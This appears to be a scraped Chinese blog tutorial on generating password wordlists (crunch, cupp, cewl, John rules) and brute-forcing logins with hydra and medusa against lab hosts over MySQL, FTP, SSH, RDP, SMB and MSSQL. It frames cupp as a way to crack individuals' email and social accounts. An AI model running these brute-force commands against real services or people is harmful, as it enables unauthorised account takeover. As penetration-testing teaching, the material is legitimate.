字典生成 |
您所在的位置:网站首页 › linux 密码字典 › 字典生成 |
大家好,我是SuieKa。 本次主要稍微详细分析一下字典的生成和在线密码破解工具hydra和medusa及使用案例,希望对大家学习上有帮助!
密码常见破解方法: 人工猜测(信息收集) 垃圾桶工程 被动信息收集 基于字典暴力破解(键盘字符集组合) 最传统的方法就是猜,但是有时候密码过于难猜,在有效的办法中,我们最好采用字典暴力破解,怎么暴力?如何暴力?怎么破解密码?现在我们就来详细说说字典暴力破解方法。 我使用的kali linux版本 root@wangzhike:~# uname -srv Linux 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21)kali自带字典 Kali 系统自带字典目录wordlists /usr/share/wordlists root@wangzhike:/usr/share/wordlists# ls dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz wfuzzdirb目录: root@wangzhike:/usr/share/wordlists/dirb# ls big.txt #较大的字典 small.txt #较小的字典 euskera.txt #数据目录字典 mutations_common.txt #备份扩展名 spanish.txt #方法名或库文件 catala.txt #项目配置字典 extensions_common.txt #常用文件扩展名字典 others #其他,扩展目录,默认用户名等 stress #压力测试 common.txt #公共字典 indexes.txt #常用首页字典 vulns #漏洞测试dirbuster目录: root@wangzhike:/usr/share/wordlists/dirbuster# ls apache-user-enum-1.0.txt apache-user-enum-2.0.txt #apache用户枚举 directories.jbrofuzz #目录枚举 directory-list-1.0.txt directory-list-2.3-small.txt directory-list-2.3-medium.txt directory-list-lowercase-2.3-medium.txt directory-list-lowercase-2.3-small.txt #目录列表fasttrack.txt #快速字典文本 常见密码组合,比如password fern-wifi目录: root@wangzhike:/usr/share/wordlists/fern-wifi# ls common.txt #公共wifi账户密码文本字典metasploit目录: 这个目录里的字典就有很多了,各种字典都有。 比如: 默认用户密码字典、路由器用户密码字典、http默认用户密码字典、综合项目管理用户及密码、恶意网站密码、oracle默认密码 rockyou.txt.gz #一个51M的字典包(命中率高的字典文件) wfuzz目录: 其他字典、比如网络服务、一般字典等。 root@wangzhike:/usr/share/wordlists/wfuzz# ls general Injections others stress vulns webservices 1、字典生成工具crunch 用法:crunch [] [options]– 默认是小写字符 crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100 -b 按大小分割字典文件(kb/kib、 mb/mib、 gb/gib) -c 每个字典行数,也即包含密码的个数 ##以上两个参数必须与-o START结合使用 -d 同意字符连贯出现的数量(11/aaa) -e 字符串,定义停止生成密码,比如-e 222222:到222222停止生成密码 -f /path/to/charset.lstcharset-name,从charset.lst指定字符集,也即调用密码库文件 -i 改变出格式 -o wordlist.txt,指定输出文件的名称 -q filename.txt,读取filename.txt -s startblock,指定一个开始的字符 -t @,%^,指定字典组成规则 -u 必须是最后一个选项,禁止打印百分比 -z gzip, bzip2, lzma, and 7z,从-o选项压缩输出结果,支持gzip,bzip2, lzma, and 7z格式,gzip是最快压缩率最低,bzip2是稍微慢于gzip,但比其压缩率搞,7z最慢,但压缩率最高。创建精准、小的字典 root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2 #同一个字符出现次数-2 root@wangzhike:/Dictionaries# ls 001001-998998.txt root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100 #生成6个字典,1M一个 root@wangzhike:/Dictionaries# ls 001001-148808.txt 148809-296626.txt 445536-593363.txt 741273-890090.txt 001001-998998.txt 296627-445535.txt 593364-741272.txt 890091-998998.txt 字典组成规则 root@wangzhike:/Dictionaries# crunch 6 6 -t @,%%^^ | more @ 小写字母 lalpha , 大写字母 ualpha % 数字 numeric ^ 符号 symbols
需要了解密码的规则,提高生成字典的精确性 按个人信息生成其专属密码字典:cupp 根据个人信息生成密码组合,适合破解个人邮箱账号、社交媒体账号,服务器端密码破解不太适合 需要python解释器 root@wangzhike:/Dictionaries# python3 -V Python 3.8.2git CUPP工具 root@wangzhike:/Dictionaries# apt-get install git root@wangzhike:/Dictionaries# git clone https://github.com/Mebus/cupp.git root@wangzhike:/Dictionaries# ls cupp使用方法:python3 cupp.py -选项 -h 显示帮助信息 -i 已交互的方式制作用户密码字典文件 -w 使用此选项配置现有字典 -l 从仓库下载大型字典文件 -a 直接从alecto DB解析默认用户名和密码 -v 显示版本信息 生成自定义字典 交互生成:python3 cupp.py -i root@wangzhike:/Dictionaries/cupp# python3 cupp.py -i ___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| * [ Muris Kurgas | [email protected] ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: xxx #字典名 > Surname: xxx #姓氏 > Nickname: xxx #昵称 > Birthdate (DDMMYYYY): 12041996 #出生日期 > Partners) name: xxx #合伙人名字 > Partners) nickname: xxx #昵称 > Partners) birthdate (DDMMYYYY): 23081993 #出生日期 > Child's name: xxx #孩子名字 > Child's nickname: xxx #昵称 > Child's birthdate (DDMMYYYY): 27102000 #出生日期 > Pet's name: tom #宠物名字 > Company name: jieli #公司名字 > Do you want to add some key words about the victim? Y/[N]: n #你想添加一些关于受害者的关键词吗? > Do you want to add special chars at the end of words? Y/[N]: n #你想在单词的末尾加上特殊的字符吗? > Do you want to add some random numbers at the end of words? Y/[N]:y #你想在单词的末尾加一些随机数吗? > Leet mode? (i.e. leet = 1337) Y/[N]: n #Leet模式?(即leet=1337) [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to xin.txt, counting 14213 words. [+] Now load your pistolero with xin.txt and shoot! Good luck!cewl(其他参数见cewl --help) -m:最小单词长度 -d:爬网深度(首页远远不够,几层页面均收集) -e:收集包含email地址信息 -c:每个单词出现次数 -w:保存文件 支持基本、摘要 身份认证 支持代理 cewl 1.1.1.1(IP或域名) -m 3 -d 3 -e -c -v -w baidu.txt 例: 对百度一级深度收集信息(可指定深度) 使用 John the Ripper 配置文件实现密码动态变型:(简称: jtr、 john) 配置文件:/etc/john/john.conf 里面有大量的规则可使用 默认规则为: 自定义规则:修改john配置文件添加规则或者修改规则使用 root@wangzhike:/Dictionaries# vi /etc/john/john.conf 筛选字典内容 -i 输入文件 -o 输出文件 -m 有效密码的最小长度 -M 有效密码的最大长度 -l 小写字母 -u 大学字母 -p 可打印的字符 -s 特殊字符 -n 数字 pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
支持的协议: adam6500、asterisk、cisco、cisco-enable、cvs、firebird、ftp、ftps、http[s]-{head|get|post}、http[s]-{get|post}-form、http-proxy、http-proxy-urlenum、icq、imap[s]、irc、ldap2[s]、ldap3[-{cram|digest}md5][s]、mssql、mysql、nntp、oracle-listener、oracle-sid、pcanywhere、pcnfs、pop3[s]、postgres、radmin2、rdp、redis、rexec、rlogin、rpcap、rsh、rtsp、s7-300、sip、smb、smtp[s]、smtp-enum、snmp、socks5、ssh、sshkey、svn、teamspeak、telnet[s]、vmauthd、vnc、xmpp kali linuxIP地址:192.168.1.106 1、hydra破解mysql数据库靶机(linux系统):192.168.1.107 root@wangzhike:~# hydra -l root -P password.txt 192.168.1.107 mysql #-P /usr/share/wordlists/dirb/small.txt #可使用自带小字典(路径)
靶机(linux):192.168.1.107 扫描靶机2121端口和服务,判断是否有ftp服务 root@wangzhike:~# nmap -p2121 -sV 192.168.1.107 靶机(linux):192.168.1.107 本靶机自带http服务可登录界面 get方式提交,破解web登录用户及密码 root@wangzhike:~# hydra -l admin -p password.txt -t 2 -vV -e ns 192.168.1.107 http-get /phpMyAdmin/靶机(linux):192.168.1.107 root@wangzhike:~# hydra -l msfadmin -p password.txt -t 2 -vV -e ns 192.168.1.107 ssh靶机(本机装装有mssqlserver 2008):192.168.1.105 本机的mssqlserver数据库开启1433端口,并设置登录名sa及密码为wangzhike@123 靶机(windows10_x64):192.168.1.108 root@wangzhike:~# hydra -l wangzhike -P password.txt rdp://192.168.1.108 -t 1 -Vv靶机(linux):192.168.1.107 root@wangzhike:~# hydra -l msfadmin -P password.txt smb://192.168.1.107 -vV
hydra的缺点: 稳定性差,程序时常崩溃 速度控制不好,容易触发服务屏蔽或锁死机制 每主机新建进程, 每服务新建实例 大量目标破解时性能差 medusa:(美杜莎) 随便说几个案例,大都是一个套路 1、medusa破解ftp靶机(linux):192.168.1.107 root@wangzhike:~# medusa -M ftp -h 192.168.1.107 -e ns -F -u ftp -P password.txt
靶机(linux):192.168.1.107 root@wangzhike:~# medusa -M mysql -h 192.168.1.107 -e ns -F -u root -P password.txt靶机(本机kali):192.168.1.106 root@wangzhike:~# medusa -M ssh -h 192.168.1.106 -e ns -F -u root -P password.txt本机同上,mssql登录sa,关闭防火墙 root@wangzhike:~# medusa -M mssql -h 192.168.1.105 -e ns -F -u sa -P password.txt
|
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |